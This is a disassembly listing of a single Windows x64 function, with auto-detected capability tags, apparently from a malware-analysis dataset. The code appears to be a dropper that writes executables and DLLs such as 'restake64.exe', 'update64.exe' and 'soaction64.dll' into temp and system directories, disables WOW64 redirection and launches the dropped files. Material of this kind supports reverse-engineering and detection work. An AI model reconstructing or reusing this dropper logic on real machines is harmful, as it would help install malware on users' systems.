Function at 0x1400022c0
Capabilities:
Acquire debug privileges
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x380
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov ebx, ecx
mov rdi, rdx
xor ebp, ebp
lea rcx, [rsp + 0x41]
mov esi, ebp
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], sil
call sub.MSVCR90.dll_memset
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
lea ecx, [rbp + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [rbp + 1]
lea rcx, [0x140003600]
call fcn.140002210
call fcn.140001000
mov dword [0x140005674], eax
test eax, eax
je 0x140002342
lea ecx, [rbp + 4]
call fcn.140001fa0
call fcn.140001dc0
test eax, eax
je 0x1400023f9
cmp ebx, 1
jle 0x1400023ef
mov rax, qword [rdi + 8]
cmp byte [rax], 0x37
jne 0x1400023ef
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x150], sil
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x150]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.restake64.exe
lea r8, [rsp + 0x150]
lea rdx, [0x140003638]
lea rcx, [0x140005de0]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [0x140005de0]
lea ecx, [r8 + 0x6f]
call fcn.140001bc0
lea r8, [0x140005de0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, 1
jmp 0x140002410
call fcn.140001d10
jmp 0x14000267b
call fcn.140001ec0
test eax, eax
je 0x140002410
cmp ebx, 1
jle 0x1400023ef
mov rax, qword [rdi + 8]
cmp byte [rax], 0x37
jne 0x1400023ef
cmp dword [0x140005674], ebp
je 0x14000242e
call fcn.140002030
call fcn.1400020f0
mov ecx, 5
call fcn.140001fa0
jmp 0x140002433
call fcn.1400020f0
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14000247e
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x30]
call rax
lea r9, str.soaction64.dll
lea r8, [rsp + 0x40]
lea rdx, [0x140003650]
lea rcx, [0x140005cd0]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [0x140005cd0]
lea ecx, [r8 + 0x6c]
call fcn.140001bc0
lea rcx, [0x140005cd0]
call fcn.1400017e0
lea r9, [0x140003658]
lea r8, [rsp + 0x40]
lea rdx, [0x140003650]
lea rcx, [0x140005bc0]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [0x140005bc0]
lea ecx, [r8 + 0x65]
call fcn.140001bc0
lea rcx, [0x140005bc0]
call fcn.1400017e0
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140003658]
lea r8, [rsp + 0x40]
lea rdx, [0x140003650]
lea rcx, [0x140005bc0]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [0x140005bc0]
lea ecx, [r8 + 0x65]
call fcn.140001bc0
lea rcx, [0x140005bc0]
call fcn.1400017e0
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140003668]
lea r8, [rsp + 0x40]
lea rdx, [0x140003650]
lea rcx, [0x140005ab0]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [0x140005ab0]
lea ecx, [r8 + 0x69]
call fcn.140001bc0
lea rcx, [0x140005ab0]
call fcn.1400017e0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x1400025e7
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x30]
call rax
call fcn.140001730
test esi, esi
jne 0x140002676
lea rcx, [rsp + 0x261]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x260], bpl
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x260]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.update64.exe
lea r8, [rsp + 0x260]
lea rdx, [0x140003638]
lea rcx, [0x140005ef0]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rdx, [0x140005ef0]
lea ecx, [rsi + 0x79]
xor r8d, r8d
call fcn.140001bc0
lea r8, [0x140005ef0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140001930
xor eax, eax
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.1400026d0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret